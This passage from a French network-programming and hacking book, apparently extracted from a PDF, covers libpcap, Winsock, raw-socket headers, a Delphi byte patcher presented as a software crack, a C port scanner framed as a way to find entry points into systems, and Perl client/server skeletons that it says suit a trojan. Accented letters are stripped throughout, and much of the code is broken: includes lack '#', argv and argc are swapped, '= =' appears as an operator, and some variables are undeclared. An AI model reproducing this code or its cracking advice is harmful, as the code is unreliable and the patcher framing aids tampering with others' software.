const u_char * pcap_next(pcap_t *p, struct pcap_pkthdr *h)


{
struct singleton s;

s.hdr = h;
if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0)
return (0);
return (s.pkt);

int pcap_stats(pcap_t *p, struct pcap_stat *stat);

183

Cette fonction nous fournit quelques informations sur les paquets capturs. Ce sont
des informations comme le nombre de paquets reus par le logiciel de capture et le
nombre de paquets dropps par le logiciel de capture.
Le 1er paramtre est le descripteur utilis pas la fonction pcap_open_live( ) .
Le 2me paramtre est une structure qui va contenir les informations retournes par la
fonction. Pour savoir de quelles informations il en retourne, remontez de quelques
lignes.
Voici comment se prsente cette structure :
struct pcap_stat {
u_int ps_recv;
u_int ps_drop;
u_int ps_ifdrop;
};

/* number of packets received */


/* number of packets dropped */
/* drops by interface XXX not yet supported */

int pcap_compile(pcap_t *p, struct bpf_program *filter_t, char


*filter_str, int optimize, bpf_u_int32
netmask);
Cette fonction permet de crer un filtre pour paquets.
Il compile la chane de filtre contenue dans filter_str et la met dans la structure
struct bpf_program *filter_t dfinie dans le fichier bpf.h et dont voici le code :
struct bpf_program {
u_int bf_len;
struct bpf_insn *bf_insns;
};

Si int optimize est mis 1 (true), le filtre produit est optimis. Le dernier paramtre
est une variable contenant le masque rseau de linterface choisi dont le descripteur
est pcap_t *p.

int pcap_setfilter(pcap_t *p, struct bpf_program *filter_t);


Cette fonction associe le descripteur de capture pcap_t *p avec la structure contenant
le filtre.
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{

if (install_bpf_program(p, fp) < 0)


return (-1);
return (0);

184

On vient de voir les principales fonctions de la libpcap. Normalement, arm de ces


informations, vous devriez tre capable de dvelopper un sniffer voir plus

Avant de finir ce chapitre, voici un aperu des fonctions de la libpcap. La disposition


na t ni choisie ni faite au hasard, cest la disposition adopte dans pcap.h.
char *pcap_lookupdev(char *);
int
pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t *pcap_open_live(char *, int, int, int, char *);
pcap_t *pcap_open_dead(int, int);
pcap_t *pcap_open_offline(const char *, char *);
void pcap_close(pcap_t *);
int
pcap_loop(pcap_t *, int, pcap_handler, u_char *);
int
pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
pcap_next(pcap_t *, struct pcap_pkthdr *);
int
pcap_stats(pcap_t *, struct pcap_stat *);
int
pcap_setfilter(pcap_t *, struct bpf_program *);
int
pcap_getnonblock(pcap_t *, char *);
int
pcap_setnonblock(pcap_t *, int, char *);
void pcap_perror(pcap_t *, char *);
char *pcap_strerror(int);
char *pcap_geterr(pcap_t *);
int
pcap_compile(pcap_t *, struct bpf_program *, char *, int,
bpf_u_int32);
int
pcap_compile_nopcap(int, int, struct bpf_program *,
char *, int, bpf_u_int32);
void pcap_freecode(struct bpf_program *);
int
pcap_datalink(pcap_t *);
int
pcap_snapshot(pcap_t *);
int
pcap_is_swapped(pcap_t *);
int
pcap_major_version(pcap_t *);
int
pcap_minor_version(pcap_t *);
FILE
int

*pcap_file(pcap_t *);
pcap_fileno(pcap_t *);

pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);


void pcap_dump_close(pcap_dumper_t *);
void pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);
int
void

pcap_findalldevs(pcap_if_t **, char *);


pcap_freealldevs(pcap_if_t *);

u_int
int
char
void

bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);


bpf_validate(struct bpf_insn *f, int len);
*bpf_image(struct bpf_insn *, int);
bpf_dump(struct bpf_program *, int);

185

186

Winsock
Winsock est une API de Microsoft qui permet de dvelopper des applications TCP et
UDP (grce Winsock 2) de bas niveau avec les sockets streams (pour Winsock 1.1)
ou les raw sockets (pour Winsock 2).

Winsock 1.1
Les applications rseaux cres avec Winsock 1.1 suivent le mme schmas que ceux
cres avec dautres bibliothques de fonctions rseaux.
La seule particularit est quavant de crer le socket, il faut initialiser winsock.
Voici le schmas de crations :
Serveur

Client

On initialise Winsock
\/
On crer le socket
\/
On renomme le socket
\/
On le met sur coute
\/
On accepte la connexion
\/
On gre les requtes du/des
client(s)

On initialise Winsock
\/
On crer le socket
\/
On le connecte au serveur
\/
On envoie nos requtes

On va commencer par voir les fonctions quutilise(nt) le(s) client(s).


Dabord sachez que pour faire fonctionner les applications winsock, il vous faut :
- winsock.h
- wsock32.lib

Client
On initialise Winsock
Pour initialiser Winsock, il faut la fonction : WSAStartup( ).
Sa syntaxe est la suivante : int WSAStartup (WORD wVersionRequired,
LPWSADATA lpWSAData);
Le 1er argument est la version de Winsock que lon veut utiliser (soit 1.1 ici).

187

Le 2me argument est ladresse dune structure de type WSAData qui est dfinie dans
winsock.h.
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR *lpVendorInfo;
} WSADATA;

Voici un exemple de cette fonction :

WORD wVersionRequired ;
LPWSADATA lpWSAData;
wVersionRequested = MAKEWORD(1,1);
init = WSAStartup(wVersionRequested, &WSAData);

On crer le socket
Pour crer le socket, on utilise la fonction : socket( ).
Sa syntaxe est la suivante : SOCKET socket (int af, int type, int protocol);
Le 1er argument est la famille du socket (gnralement cest AF_INET. Les autres
familles sont prsentes dans winsock.h).
Le 2me argument est le type de socket (il y a SOCK_STREAM, SOCK_DGRAM :
ils sont dfinis dans winsock .h).
Le 3me argument est le protocole utilis (il y a IPPROTO_IP, IPPROTO_ICMP :
ils sont dfinis dans winsock.h).
Avant dutiliser la fonction socket, il nous faut remplir une structure de type
sockaddr_in.
struct sockaddr_in {
short
sin_family;
u_short
sin_port;
struct
in_addr
sin_addr;
char
sin_zero[8];
};

Voici un exemple de cette fonction :

188

SOCKET socket;
struct sockaddr_in sin;
sin.sin_addr.s_addr
sin.sin_family
sin.sin_port

= htonl(inaddr_any);
= AF_INET;
= htons(xx);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

En cas dchec lors de la cration du socket, socket( ) renvoie : INVALID_SOCKET.


Avant de passer la fonction suivante, voyons un petit lment (ou plutt une
fonction) : htons( ).
Cette fonction permet de placer les octets du port dans le mme ordre dans chaque
architecture.
Pour information, chaque architecture PC traite de manires diffrentes les octets, soit
elles placent dabord le byte de poids faible puis celui de poids fort (little endian) soit
elles placent celui de poids fort pour terminer avec celui de poids faible (big endian).
Cela dpasse le cadre de ce livre donc on ne sy attardera pas.
Il existe dautres fonctions de ce type dfinies dans winsock.h (comme toujours) :
-

u_long
u_short
u_long
u_short

htonl(u_long
htons(u_short
ntohl(u_long
ntohs(u_short

hostlong);
hostshort);
netlong);
netshort);

On connecte le socket au serveur


Pour faire cela, on utilise la fonction : connect( ).
Sa syntaxe est la suivante : int connect (SOCKET s, const struct sockaddr
FAR *name, int namelen);
Le 1er argument est le descripteur de socket.
Le 2me argument est une structure de type sockaddr.
struct sockaddr {
u_short sa_family;

char sa_data[14];

/* address family */

/* up to 14 bytes of direct address */

};

Le 3me argument est la taille de la structure de type sockaddr.


Voici un exemple de cette fonction :

189


connect(socket, (sockaddr *)&structure, sizeof(struct
sockaddr));

On programme ce pour quoi le client est cr


Cette partie du programme dpend du dveloppeur de lapplication.
Nous allons seulement voir 2 fonctions permettant de communiquer avec le serveur.
La premire fonction est send( ) et sert envoyer des donnes, la deuxime est recv()
et sert recevoir des donnes envoyes avec send( ).
La syntaxe de send( ) est la suivante : int send(SOCKET s, const char FAR *
buf, int len, int flags);
Le 1er argument est le descripteur de socket.
Le 2me argument est un espace mmoire qui contient la chane envoyer.
Le 3me argument est la longueur de cet espace.
Le 4me argument doit toujours tre mis a 0 car il nest pas trs important.
La syntaxe de recv( ) est la suivante : int recv (SOCKET s, char FAR * buf,
int len, int flags);
Le 1er argument est le descripteur de socket.
Le 2me argument est un espace mmoire qui va contenir la chane envoye avec
send().
Le 3me argument est la longueur de cet espace.
Le 4me argument doit toujours tre mis a 0 car il nest pas trs important.
Voici un exemple de ces fonctions :

envoyer = send(socket, buffer, strlen(buffer), 0);


recevoir = recv(socket, buffer, 512, 0);

Serveur
Pour allger le livre, nous allons seulement voir les lments nouveaux pour la
cration du serveur. Car en revoyant le schmas de cration dun serveur, on
remarque quil y a des ressemblances avec celui des clients.

190

On renomme le socket
Pour associer le socket cr avec notre adresse rseau, il faut utiliser la fonction bind(
).
Sa syntaxe est la suivante : int bind (SOCKET s, const struct sockaddr FAR
* addr, int namelen);
Le 1er argument est le descripteur de socket.
Le 2me argument est une structure sockaddr
Le 3me argument est la taille de cette structure.
Voici un exemple de cette fonction :

bind(sock, (sockaddr *)&strutre, sizeof(struct sockaddr))

On le met sur coute


Pour mettre le serveur en coute (en attente dune connexion), il faut utiliser la
fonction listen( ).
Sa syntaxe est la suivante : int listen (SOCKET s, int backlog);
Le 1er argument est le descripteur de sockets.
Le 2me argument est le nombre maximal de connexions (le maximum de clients que
peut grer le serveur en mme temps).
Voici un exemple de cette fonction :

listen(socket, 5) ;

On accepte la connexion
Pour accepter des connexions de clients, on utilise la fonction accept( ).
Sa syntaxe est la suivante : SOCKET accept (SOCKET s, struct sockaddr FAR
*addr, int FAR *addrlen);
Le 1er argument est le descripteur de socket.
Le 2me argument est une structure de type sockaddr.

191

Le 3me argument est la taille du 2me argument.


La structure du 2me argument est remplie par la fonction elle-mme.
Voici un exemple de cette fonction :

accept(socket, (struct sockaddr *)&structure, &taille_struct)

192

193

Winsock (suite)
Winsock permet aussi de manipuler les raw sockets qui proposent des fonctions de
programmation puissantes. On va pouvoir dvelopper de trs bons sniffers, des
gnrateurs de paquets rseaux, des modificateurs den-tte de paquets passant par
notre interface rseau
On ne peut utiliser les raw sockets sans tre administrateur de la machine. Mais bien
sr, sous Windows, on peut facilement contourner la pseudo restriction lie
lutilisation des raw sockets. Comme chaque nouveau systme Windows, Microsoft
change les moyens de restriction, tous les citer ne ferait qualourdir ce livre.
Nous allons voir diffrentes fonctions permettant de manipuler les raw sockets puis
nous allons nous attaquer au sujet mme.
On cr le socket
Pour cela, on utilise la fonction : WSASocket.
Sa syntaxe est la suivante : SOCKET WSASocket (int af, int type, int
protocol,
LPWSAPROTOCOL_INFO
lpProtocolInfo, GROUP g,
DWORD dwFlags);
Le 1er argument est la famille du socket.
Le 2me argument est le type du socket (ici, a sera SOCK_RAW car on travail avec
les raw sockets).
Le 3me argument est le protocole utilis.
Le 4me argument est une structure sur le socket cr.
Le 5me argument est rempli par Windows (ne vous en proccupez pas, gnralement
il faut mettre comme valeur: NULL).
Le 6me argument permet de spcifier les attributs du socket qui va tre cr.
On met des options au socket
Pour cela, il faut utiliser la fonction setsockopt( ).
Sa syntaxe est la suivante : int setsockopt (SOCKET s, int level, int optname,

194

const char FAR * optval, int


optlen);
Le 1er argument est le descripteur de socket.
Le 2me argument est le niveau des options.
Le 3me argument est loption/les options.
Le 4me argument est un espace mmoire.
Le 5me argument est la taille de cet espace mmoire.
setsockopt( ) renvoie 0 si il russie mettre des options sur le socket,
SOCKET_ERROR en cas derreur.
On envoie un paquet
Pour faire cela, il faut utiliser la fonction sendto( ).
Sa syntaxe est la suivante : int sendto (SOCKET s, const char FAR * buf,
int len, int flags, const struct
sockaddr FAR *to, int tolen);
Le 1er argument est le descripteur de socket.
Le 2me argument est un buffer qui contient les lments envoyer.
Le 3me argument est la taille de ce buffer.
Le 4me argument est rserv et doit tre mis 0x0.
Le 5me lment est une structure de type sockaddr.
Le 6me argument est la taille de cette structure.

Raw sockets
IP
Voici un paquet IP :

195

Version

IHL
Identificateur

TTL

Type de
service

Longueur du paquet
Flags

Offset du
Fragment
Protocole
Cheksum den-tte
Adresse IP source
Adresse IP cible
Options / remplissage ( padding )
Zones de donnes

Maintenant, voici la structure associe au protocole IP :


typedef struct iphdr
{

unsigned char verlen;


unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned

char
short
short
short
char
char
short
int
int

// La

version du protocole IP et la
longueur de l'
en-tte

tos;
tot_len;
id;
offset;
ttl;
protocol;
checksum;
saddr;
daddr;

//
//
//
//
//
//
//
//
//

Type de service
Longueur du paquet
identificateur
Offset du Fragment
TTL
Protocole
Cheksum
IP source
IP de destinataire

};

TCP
Voici un paquet TCP :
port source
port destination
numro de squence
accus de rception
dcalage
rserve urg ack psh rst syn fin
donnes
somme de contrle (checksum)
options

fentre
pointeur de donnes
urgentes
remplissage (padding)

donnes
Voici la structure associe au paquet TCP :
typedef struct tcphdr
{
unsigned short sport;
unsigned short dport;

// port source
// port destination

196

unsigned
unsigned
unsigned
unsigned
unsigned
unsigned
unsigned

int
int
char
char
short
short
short

seqnum;
acknum;
dataoffset;
flags;
windows;
checksum;
urgpointer;

// numro de squence
// accus de rception
// dcalage des donnes
// flags
// fentre
// checksum
// pointeur de donnes
urgentes

};

ICMP
Voici un paquet ICMP :
Type

ID

Code
Donnes

Cheksum
Numro de squence

Voici la structure associe au paquet ICMP :


typedef struct icmphdr
{
unsigned char type;
unsigned char code;
unsigned short checksum;
unsigned short id;
unsigned short sequence;
unsigned long timestamp;
} ;

//
//
//
//
//
//

Type
Code
Checksum
ID
numro de squence
timestamp

Pratique
Pour pouvoir utiliser les raw sockets, il va falloir remplir les membres des structures
avec les bons paramtres puis placer la structure dans un tableau de caractres et
envoyer le tout avec sendto( ).
Voici un exemple de remplissage dune structure TCP :
tcp->sport
tcp->dport
tcp->seqnum
tcp->acknum
tcp->dataoffset
tcp->flags
tcp->window
tcp->checksum
tcp->urgpointer

=
=
=
=
=
=
=
=
=

htons(xx);
htons(xx) ;
htonl(xx);
htonl(xx);
(x) << x;
0x0xx;
htons(xx);
xxxxx;
0;

197

xxxx : sont remplacer par les lments que lon souhaite.


Avant de terminer ce chapitre, nous allons voir une fonction qui permet de calculer le
cheksum : un lment qui ne peut tre choisi au hasard.
Voici le code :
u_short checksum(u_short *addr, int len){
register
register
register
register

int nleft = len;


u_short *w = addr;
u_short answer;
int sum = 0;

while (nleft > 1) {


sum += *w++;
nleft -= 2;
}
if (nleft == 1){
u_short u = 0;
*(u_char *)(&u) = *(u_char *)w;
sum += u;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}

198

199

Partie IV :
Dveloppement
dutilitaires de scurit

200

Dans cette partie, nous allons tudier ensemble comment dvelopper certains outils
pouvant servir scuriser des systmes et rseaux mais aussi pirater.
Chacun de ces programmes ont t dvelopps par lauteur pour dautres projets et ne
sont donc que des extraits de programmes plus complets et fonctionnels.
Lutilisation de ces programmes dans un environnement autre que ceux pour lequel
ils ont t crs risque de ne pas fonctionner.
4 programmes vont vous tre prsents :
- un logiciel qui patch des octets dun programme (en Delphi),
- un scanner de ports basique,
- des squelettes de serveurs et clients TCP et UDP,
- des sniffers.

201

202

Un crack
Si vous avez bien suivi la partie du livre consacre la scurit informatique, vous
devriez normalement savoir ce quest un crack (on dit aussi patch). Mais le re-dire ne
tuera personne !!!
Un crack (ou patch) est un petit programme qui va modifier certains octets dun
programme des offsets prcis dans le but de modifier son comportement dans un
environnement donn ou lorsquune action survient.
Les cracks sont gnralement utiliss pour dplomber des logiciels commerciaux. Le
mini crack dvelopp en language Delphi a pour but de faire comprendre au lecteur
comment il est possible de modifier des octets dun programme compil et non de
donner un programme de base servant pirater des logiciels ( moins quils
appartiennent celui qui teste ce crack).
var

F : file of Byte;
A : Byte;

begin
assignfile(F , 'fichier.exe');
Reset(F);
A := $[hexa_voulu];
seek(F,$[offset]);
Write(F,A);
closefile(F);
end;

Tout au long de lexplication, jutiliserai le mot fichier la place du mot


programme car les mthodes utilises peuvent aussi tre applicables des fichiers
(bien que cela ne servirait rien de patcher des fichiers).
En premier, on dclare les variables qui vont tre utilises dans la suite du code. file
of Byte et Byte sont des types quil nest pas ncessaire de commenter car mme
si cest de langlais, cest trs comprhensible.
On a ensuite le code mme qui est toujours entour de begin et end;
La premire procdure va associer la variable fichier FB au fichier ouvrir. Utiliser
cette procdure est obligatoire avant davoir un accs squentiel au fichier ouvrir.
assignfile(F , 'fichier.exe');

203

La deuxime instruction ouvre le fichier en lecture. Comme vous allez le remarquer,


pour accder au fichier, on utilise la variable fichier.
Reset(FB);

La troisime instruction va affecter la variable A, lhxa de la commande que lon


souhaite mettre la place de celle existante.
A := $[hexa_voulu];

La quatrime instruction va placer un pointeur sur loffset modifier.


seek(F,$[offset]);

La cinquime instruction va crire notre hxa loffset o se trouve le pointeur de


linstruction prcdente. Cest ici que lon patche le programme.
Write(F,A);

Pour finir, il faut fermer le fichier ouvert et patch.


closefile(F);

Le code prsent ne patch quun octet la fois, pour en pacther dautres il suffit de
rpter les instructions le nombre de fois ncessaire.

204

205

Scanner de ports
Les scanners de ports sont trs importants pour savoir par quel port pntrer un
systme. Pour plus dinformations sur le scan des ports, retournez aux premiers
chapitres de la partie scurit informatique.
Pour que les scanners de ports dterminent quels ports sont ouvert sur un systme, ils
essaient de sy connecter laide dun socket. Si la connexion a russie, le port est
ouvert, sinon il est ferm.
Voici le code source :
include <stdio.h>
include <stdlib.h>
include <netinet/in.h>
include <netdb.h>
include <sys/types.h>
include <sys/socket.h>
int main(int argv,char*argc[])
{
int socket,i;
struct sockaddr_in paq;
struct hostent *dest;
if(argv <= 1 || argv > 4)
{
printf("Problme dans le passage des arguments.\n\n");
printf("%s [nom_d'
hte] [port_de_depart] [port_d_arriv] : permet de scanner les
ports de l'
hte cible",argc[0]);
}
if(argc>3)
{
dest =gethostbyname(argc[1]);
if(dest = = NULL)
{
dest =gethostbyaddr(argc[1],4,AF_INET);
}
paq.sin_family = AF_INET;
paq.sin_addr = *((struct in_addr *)paq -> h_addr);
start = strtol(argc[2],(char**)NULL,10);

206

if(start = = NULL)
{
start = atoi(argc[2]);
}
end = strtol(argc[3],(char**)NULL,10);

if(end = = NULL)
{
end = atoi(argc[3]);
}

for(i = start; i <= end; i++)


{
paq.sin_port = htons(i);
socket = socket(AF_INET,SOCK_STREAM,0);
if((connect(socket,(struct sockaddr*)&paq,sizeof(struct sockaddr))) = = 0)
{
printf("Le port %i est ouvert sur %s",i,dest);
}
close(socket);
}
}
En premier, on inclut les fichiers den-ttes dont on a besoin.
include <stdio.h>
include <stdlib.h>
include <netinet/in.h>
include <netdb.h>
include <sys/types.h>
include <sys/socket.h>
Puis on dbute la boucle principale et on dclare les structures que lon va utiliser.
int main(int argv,char*argc[])
{
int socket,i;
struct sockaddr_in paq;
struct hostent *dest;
Ensuite, on teste le nombre darguments que lutilisateur a pass au programme. Si il
y en a moins de 1 ou plus de 4, alors il y a une erreur et on montre lutilisateur
comment passer les arguments.
if(argv <= 1 || argv > 4)

207

{
printf("Problme dans le passage des arguments.\n\n");
printf("%s [nom_d'
hte] [port_de_depart] [port_d_arriv] : permet de scanner les
ports
de l'
hte cible",argc[0]);
}
Si par contre lutilisateur a bien pass les arguments au programme, on va analyser
les arguments et affecter leurs valeurs des variables pour que le programme puissent
les traiter aisment.
if(argc>3)
{
dest = gethostbyname(argc[1]);
if(dest = =NULL)
{
dest =gethostbyaddr(argc[1],4,AF_INET);
}
paq.sin_family = AF_INET;
paq.sin_addr = *((struct in_addr *)paq -> h_addr);
start = strtol(argc[2],(char**)NULL,10);
if(start = = NULL)
{
start = atoi(argc[2]);
}
end = strtol(argc[3],(char**)NULL,10);

if(end = = NULL)
{
end = atoi(argc[3]);
}

gethostbyname() va nous permettre davoir ladresse IP de la machine scanner. Si


gethostbyname() na pas russi dterminer ladresse IP alors on utilise une autre
fonction gethostbyaddr() .
paq.sin_addr = *((struct in_addr *)paq -> h_addr); permet de mettre dans la
structure du paquet sin ladresse IP de la machine scanner.
Les fonctions strtol() et atoi() permettent de convertir la chane passe en argument
en un entier.
Pour finir, on va utiliser une boucle for qui va permettre de scanner les ports que
lutilisateur veut. Dans cette boucle, on va placer dans la structure le port que lon

208

scanne, puis on cr un socket. Si on arrive se connecter au port de la machine


laide du socket cr, on en conclut que le port est ouvert.
for(i=start; i<=end; i++)
{
paq.sin_port = htons(i);
socket = socket(AF_INET,SOCK_STREAM,0);
if((connect(socket,(struct sockaddr*)&paq,sizeof(struct sockaddr))) = = 0)
{
printf("Le port %i est ouvert sur %s",i,dest);
}
close(socket);
}
}

209

210

Serveur TCP
Voici le code source :
use Socket;
use strict;
$sv_adr = "";
$sv_port = "xx";
$sv_proto = "tcp";
print "Taper le nombre maximal de connexion que le serveur doit accepter:\n";
$conmax = <STDIN>;
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(SERV_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";
setsockopt(SERV_SOCK, SOL_SOCKET, SO_REUSEADDR, pack("1",1)) || die
"On ne peut mettre d'
options sur le socket.";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir

211

lieu.";
listen(SERV_SOCK, $conmax) || die "Il y a eu une erreur !!!";
while(1)
{
accept(CHI_SOCK, SERV_SOCK);
$dest = getpeername(CHI_SOCK) || die "Il y a eu une erreur !!!";
($dport, $dadr) = unpack_sockaddr_in($dest);
$ip_dest = inet_ntoa($dadr);
if(fork != 0)
{
shutdown(CHI_SOCK, 2);
}
print "La connection du client $dadr sur le serveur $adr par le port $port du serveur
a
t accept\n";
shutdown(SERV_SOCK, 2);
select(CHI_SOCK);
$| = 1
(Ici est le service que fournit le serveur)
}
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Puis on demande lutilisateur de choisir le nombre maximum de connexions que
doit accepter le serveur.
print "Taper le nombre maximal de connexion que le serveur doit accepter:\n";
$conmax = <STDIN>;
Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur TCP auquel doit se connecter le client.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}

212

}
On fait de mme pour dterminer le protocole laide des fonctions
getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
Quand tout cela est fini, on va crer le socket, lui mettre des options (grce la
fonction setsockopt()), lassocier un nom (grce la fonction bind()), et le mettre
en coute (grce la fonction listen()).
socket(SERV_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";
setsockopt(SERV_SOCK, SOL_SOCKET, SO_REUSEADDR, pack("1",1)) || die
"On ne peut mettre d'
options sur le socket.";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir
lieu.";
listen(SERV_SOCK, $conmax) || die "Il y a eu une erreur !!!";
Maintenant, on va soccuper de la manire dont le serveur va soccuper des clients.
On code une boucle infinie.
while(1)
{
On accepte une connexion sur le socket, et crer un nouveau descripteur de socket.
accept(CHI_SOCK, SERV_SOCK);
On va essayer davoir des informations sur le client qui se trouve lautre extrmit
du socket : comme son adresse IP et son port.
$dest = getpeername(CHI_SOCK) || die "Il y a eu une erreur !!!";

213

($dport, $dadr) = unpack_sockaddr_in($dest);


$ip_dest = inet_ntoa($dadr);
Puis, on duplique le processus et le processus pre referme le socket CHI_SOCK car
il en a plus besoin. En effet, cest le processus fils qui dialoguera avec le client.
if(fork != 0)
{
shutdown(CHI_SOCK, 2);
}
On affiche un petit message lutilisateur du serveur pour lui dire que la connexion
est accepte.
print "La connection du client $dadr sur le serveur $adr par le port $port du serveur
a
t accept\n";
Comme le processus fils na plus besoin du socket de base, il peut donc le fermer.
shutdown(SERV_SOCK, 2);
Maintenant, le serveur peut rendre le service pour lequel il a t cr.
On va seulement slectionner le socket comme sortie standard pour pouvoir crire
facilement des messages au client laide de la fonction print.
select(CHI_SOCK);
$| = 1
}

214

215

Client TCP
Dabord quelques informations thoriques.
Les clients sont des logiciels qui vont se connecter un serveur et vont profiter des
services quoffre le serveur.
Voici le code source :
use Socket;
use strict;
$sv_adr = "xx";
$sv_port = "xx";
$sv_proto = "tcp";
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(CLIENT_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";

216

connect(CLIENT_SOCK, sockaddr_in($port, $adr)) || or die "Probleme lors de la


connexion";
select(CLIENT_SOCK);
$| = 1
(Ici ce pour quoi le client a t dvelopp. ATTENTION, pour crire des messages
au serveur, utiliser l'
instruction print suivi du message.)
shutdown(CLIENT_SOCK, 2);
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Ensuite on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur TCP auquel doit se connecter le client.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
On fait de mme pour dterminer le protocole laide des fonctions
getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}

217

Quand tout est prt, on va crer un socket et on le connecte au socket en coute du


serveur.
socket(CLIENT_SOCK, PF_INET, SOCK_STREAM, $proto) || die "Probleme de
socket:$!\n";
connect(CLIENT_SOCK, sockaddr_in($port, $adr)) || or die "Probleme lors de la
connexion";
Les 2 instructions suivantes slectionnent le serveur comme sortie standard pour
pouvoir crire facilement des messages au serveur laide de la fonction print.
select(CLIENT_SOCK);
$| = 1
Maintenant, vous devez coder ce pour quoi le serveur a t cr.
Quand le client est finit, il faut fermer le socket.
shutdown(CLIENT_SOCK, 2);
Ce code doit pouvoir marcher pour toutes les situations, on peut donc sen servir pour
crer des applications clients en tout genre (aussi bien client http, que client dun
troyen).

218

219

Serveur UDP
Avec le protocole UDP, on ne peut pas vraiment parler de serveur, car les 2 parties (
clients et serveurs ) ne font quenvoyer les paquets sans tablire de connexions.
Voici le code source :
use Socket;
use strict;
$sv_adr = "";
$sv_port = "xx";
$sv_proto = "udp";
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de
socket:$!\n";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir
lieu.";

220

while(1)
{
(Ici ce pour quoi le serveur a t programm, ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())
}
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur UDP.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
On fait de mme pour dterminer le protocole laide des fonctions
getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
Quand tout est prt, on va crer un socket et on lassocie un nom.

221

socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de


socket:$!\n";
bind(SERV_SOCK, sockaddr_in($port, $adr)) || die "L'
association n'
a pas pu avoir
lieu.";
Puis on code ce pour quoi le serveur a t dvelopp.
while(1)
{
(Ici ce pour quoi le serveur a t programm, ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())
}

222

223

Client UDP
Voici le code source :
use Socket;
use strict;
$sv_adr = "";
$sv_port = "xx";
$sv_proto = "udp";
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de
socket:$!\n";
while(<>)
{
(Ici ce pour quoi le client a t programm. ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())

224

}
En premier, on va inclure les modules que lon va utiliser.
use Socket;
use strict;
Ensuite,on va essayer de dterminer, laide des fonctions gethostbyname() et
gethostbyaddr(), ladresse IP du serveur UDP.
$adr = gethostbyname($sv_adr);
if(!adr)
{
$adr = gethostbyaddr($sv_adr, AF_INET);
unless(defined(adr))
{
$adr = INADDR_ANY;
}
}
On fait de mme pour dterminer le protocole laide des fonctions
